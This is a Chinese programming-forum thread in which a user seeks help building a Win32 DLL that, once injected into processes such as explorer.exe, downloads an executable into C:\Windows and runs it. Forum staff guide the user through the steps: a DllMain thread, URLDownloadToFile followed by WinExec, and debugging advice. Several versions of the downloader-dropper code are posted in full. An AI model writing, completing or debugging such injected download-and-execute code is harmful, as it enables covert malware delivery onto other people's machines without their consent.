VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

有编程疑问吗?还请到提问专区发帖提问!
搜索
查看: 556|回复: 22

[求助] 动态连接库

[复制链接]
58_avatar_middle
在线会员 onlin 发表于 2018-9-27 23:27:57 | 显示全部楼层 |阅读模式
3驿站币

Win32 动态连接库 Dll

编译器:VS2005

这个DLL要实现
  1. URLDownloadToFile(NULL,"http://","C:\\Windows\\xo.exe",NULL,NULL);
复制代码


现在卡在了导出和怎么写的问题上。

能给我解决一下么?

最佳答案

查看完整内容

楼主先搞清楚是当该DLL被加载的时候就马上调用 URLDownloadToFile 还是通过DLL的导出函数来调用 URLDownloadToFile 下载文件?




上一篇:程序运行不起来!!!!
下一篇:电脑管家有个清理插件的功能,插件指的是什么,怎么编写?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

51_avatar_middle
online_admins Syc 发表于 2018-9-27 23:27:58 | 显示全部楼层
楼主先搞清楚是当该DLL被加载的时候就马上调用 URLDownloadToFile 还是通过DLL的导出函数来调用 URLDownloadToFile 下载文件?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-27 23:35:11 | 显示全部楼层
Syc 发表于 2018-9-27 23:30
楼主先搞清楚是当该DLL被加载的时候就马上调用 URLDownloadToFile 还是通过DLL的导出函数来调用 URLDownloa ...

当DllTest.dll被加载的时候马上调用URLDownloadToFile

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-9-28 00:02:33 | 显示全部楼层
onlin 发表于 2018-9-27 23:35
当DllTest.dll被加载的时候马上调用URLDownloadToFile

那就在DLL的入口函数 DllMain 的 DLL_PROCESS_ATTACH 情况下调用 CreateThread 开启一个新线程,在线程函数中调用 URLDownloadToFile 下载文件就可以了

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 00:18:08 | 显示全部楼层
Syc 发表于 2018-9-28 00:02
那就在DLL的入口函数 DllMain 的 DLL_PROCESS_ATTACH 情况下调用 CreateThread 开启一个新线程,在线程函 ...
  1. // DllTest.cpp : 定义 DLL 应用程序的入口点。
  2. //

  3. #include "stdafx.h"


  4. #ifdef _MANAGED
  5. #pragma managed(push, off)
  6. #endif

  7. BOOL APIENTRY DllMain( HMODULE hModule,
  8.                        DWORD  ul_reason_for_call,
  9.                        LPVOID lpReserved
  10.                                          )
  11. {
  12.         switch (ul_reason_for_call)
  13. {
  14. case DLL_PROCESS_ATTACH:
  15.         {
  16.                 URLDownloadToFile(NULL,"http://","C:\\Windows\\xo.exe",NULL,NULL);
  17.         }

  18.     return TRUE;
  19. }

  20. #ifdef _MANAGED
  21. #pragma managed(pop)
  22. #endif
复制代码

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 00:18:29 | 显示全部楼层
Syc 发表于 2018-9-28 00:02
那就在DLL的入口函数 DllMain 的 DLL_PROCESS_ATTACH 情况下调用 CreateThread 开启一个新线程,在线程函 ...

是这样么?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 01:42:53 | 显示全部楼层
Syc 发表于 2018-9-28 00:02
那就在DLL的入口函数 DllMain 的 DLL_PROCESS_ATTACH 情况下调用 CreateThread 开启一个新线程,在线程函 ...

不对。。我注入到进程没有任何反应。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-9-28 09:48:26 | 显示全部楼层
onlin 发表于 2018-9-28 01:42
不对。。我注入到进程没有任何反应。

完全没按照我说的做啊。。。
调用 CreateThread 开启线程了吗?
另外,你调用 URLDownloadToFile 下载完文件之后,执行了吗?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

98_avatar_middle
online_moderator 小鱼儿 发表于 2018-9-28 23:05:47 | 显示全部楼层
  URLDownloadToFile(NULL,"http://","C:\\Windows\\xo.exe",NULL,NULL);
WinExec("C:\\Windows\\xo.exe",SW_SHOW);
自己改参数。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 23:22:47 | 显示全部楼层
  1. // DllTest.cpp : 定义 DLL 应用程序的入口点。
  2. //

  3. #include "stdafx.h"
  4. #include <iostream>
  5. #include <stdio.h>
  6. #include "Windows.h"
  7. #include <UrlMon.h>
  8. #pragma comment(lib, "urlmon.lib")
  9. #ifdef _MANAGED
  10. #pragma managed(push, off)
  11. #endif
  12. DWORD WINAPI ThreadFun(LPVOID pM)
  13. {  
  14. URLDownloadToFile(NULL,"http://","C:\\Windows\\xo.exe",NULL,NULL);
  15. WinExec("C:\\Windows\\xo.exe",SW_SHOW);
  16. return 0;
  17. }  
  18. BOOL APIENTRY DllMain( HMODULE hModule,
  19.                        DWORD  ul_reason_for_call,
  20.                        LPVOID lpReserved
  21.                                          )
  22. {
  23.         switch (ul_reason_for_call)
  24. {
  25. case DLL_PROCESS_ATTACH:
  26.         {
  27.                
  28.         HANDLE handle = CreateThread(NULL, 0, ThreadFun, NULL, 0, NULL);  
  29.     WaitForSingleObject(handle, INFINITE);
  30.                
  31.         }

  32.     return TRUE;
  33. }
  34. }


  35. #ifdef _MANAGED
  36. #pragma managed(pop)
  37. #endif
复制代码

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 23:23:41 | 显示全部楼层
Syc 发表于 2018-9-28 09:48
完全没按照我说的做啊。。。
调用 CreateThread 开启线程了吗?
另外,你调用 URLDownloadToFile 下载 ...

老大这次看看 - -。。我实在是要绝望了,不知道对不对

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-28 23:24:37 | 显示全部楼层
小鱼儿 发表于 2018-9-28 23:05
URLDownloadToFile(NULL,"http://","C:\\Windows\\xo.exe",NULL,NULL);
WinExec("C:\\Windows\\xo.exe", ...

好的,谢谢版主,已经加进去了但不知道对不对,源代码刚刚贴上了

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-9-28 23:59:09 | 显示全部楼层
onlin 发表于 2018-9-28 23:24
好的,谢谢版主,已经加进去了但不知道对不对,源代码刚刚贴上了

真是画蛇添足啊。。。
WaitForSingleObject(handle, INFINITE); 就这句干嘛

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-29 13:23:00 | 显示全部楼层
Syc 发表于 2018-9-28 23:59
真是画蛇添足啊。。。
WaitForSingleObject(handle, INFINITE); 就这句干嘛

老大我注入到explorer.exe还是没有加载- -

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-29 13:23:38 | 显示全部楼层
Syc 发表于 2018-9-28 23:59
真是画蛇添足啊。。。
WaitForSingleObject(handle, INFINITE); 就这句干嘛

要跳楼了动态连接库

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-9-29 13:27:41 | 显示全部楼层

输出下log看看:
1、是否注入成功了?
2、注入成功了之后线程函数是否执行了?
3、文件是否下载成功了?
4、程序是否启动了?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-29 13:33:45 | 显示全部楼层
Syc 发表于 2018-9-29 13:27
输出下log看看:
1、是否注入成功了?
2、注入成功了之后线程函数是否执行了?

注入成功,函数没有执行。动态连接库

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-9-29 13:34:28 | 显示全部楼层
Syc 发表于 2018-9-29 13:27
输出下log看看:
1、是否注入成功了?
2、注入成功了之后线程函数是否执行了?

注入我再三确认了没有问题就是函数都没有执行。。。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-9-29 14:45:29 | 显示全部楼层
onlin 发表于 2018-9-29 13:34
注入我再三确认了没有问题就是函数都没有执行。。。

那就应该是 CreateThread 创建线程失败了。调用 GetLastError 看看错误码是多少?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

58_avatar_middle
ico_lz  楼主| onlin 发表于 2018-10-7 19:53:24 | 显示全部楼层
Syc 发表于 2018-9-29 14:45
那就应该是 CreateThread 创建线程失败了。调用 GetLastError 看看错误码是多少?

老大经过我这几天调试总结出了以下几点:

MFC写的DLL他的的确确注入成功了,但会重启,这也不行。

WIn32写法我试了N种就是注入不执行,我估计问题并不是出在线程。

而是我这个DLL是内核注入,关于这方面的资料又少的可怜,下面我贴下我的代码。

此为MFC规则的DLL

  1. #include "stdafx.h"
  2. #include "fe.h"
  3. #include <windows.h>
  4. #include <UrlMon.h>
  5. #pragma comment(lib, "urlmon.lib")
  6. #include <shellapi.h>
  7. #include <stdlib.h>
  8. #include <shlobj.h>
  9. #pragma comment(lib, "shell32.lib")
  10. #pragma comment(linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
  11. #ifdef _DEBUG
  12. #define new DEBUG_NEW
  13. #endif


  14. // 唯一的应用程序对象

  15. CWinApp theApp;

  16. using namespace std;

  17. int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
  18. {
  19.         system("md C:\\Windows\\ASD");
  20.         URLDownloadToFile(NULL,"https://bbs.xiuno.com/down/xiunobbs_4.0.4.zip" _T(""), _T("C:\\Windows\\xiunobbs_4.0.4.zip"), NULL, NULL);
  21.         WinExec("C:\\Windows\\xiunobbs_4.0.4.zip",SW_SHOW);

  22. }
复制代码




上方的可以注入到系统进程并且执行起来但却会重启。具体问题是迷。

之后win32 dll的


  1. // 9.cpp : 定义 DLL 应用程序的入口点。
  2. //

  3. #include "stdafx.h"
  4. #include "9.h"
  5. #include <Windows.h>
  6. #include <UrlMon.h>
  7. #pragma comment(lib, "urlmon.lib")

  8. #ifdef _MANAGED
  9. #pragma managed(push, off)
  10. #endif

  11. DWORD WINAPI ThreadFun(LPVOID pM)
  12. {  
  13.         system("md C:\\Windows\\ASD");
  14. URLDownloadToFile(NULL,"https://bbs.xiuno.com/down/xiunobbs_4.0.4.zip/","C:\\Windows\\xiunobbs_4.0.4.zip",0,NULL);
  15. WinExec("C:\\Windows\\xiunobbs_4.0.4.zip",SW_SHOW);
  16. return 0;
  17. }  

  18. BOOL APIENTRY DllMain( HMODULE hModule,
  19.                        DWORD  ul_reason_for_call,
  20.                        LPVOID lpReserved
  21.                                          )
  22. {
  23.         switch (ul_reason_for_call)
  24.         {
  25.         case DLL_PROCESS_ATTACH:
  26.                 {
  27.                         HANDLE handle = CreateThread(NULL, 0, ThreadFun, NULL, 0, NULL);
  28.                 }

  29.         case DLL_THREAD_ATTACH:
  30.         case DLL_THREAD_DETACH:
  31.         case DLL_PROCESS_DETACH:
  32.                 break;
  33.         }
  34.     return TRUE;
  35. }

  36. #ifdef _MANAGED
  37. #pragma managed(pop)
  38. #endif

  39. // 这是导出变量的一个示例
  40. MY9_API int nMy9=0;

  41. // 这是导出函数的一个示例。
  42. MY9_API int fnMy9(void)
  43. {
  44.         return 42;
  45. }

  46. // 这是已导出类的构造函数。
  47. // 有关类定义的信息,请参阅 9.h
  48. CMy9::CMy9()
  49. {
  50.         return;
  51. }
复制代码




然后之前我也试过不创建线程直接在main里面执行sytem等等一系列

然后又在导出里面试了,现在是迷了,请老大给个思路,或者老大你随手写个DLL,就执行system("md C:\\Please");

我试试我这能不能注入进去。


发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /1 下一条

QQ
QQ在线咨询
联系电话
13591366679
手机扫一扫 关注本站精彩内容
wxqrcode

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2018-10-20 17:44

Powered by Discuz! X3.4

© 2009-2018 cctry.com

快速回复 返回顶部 返回列表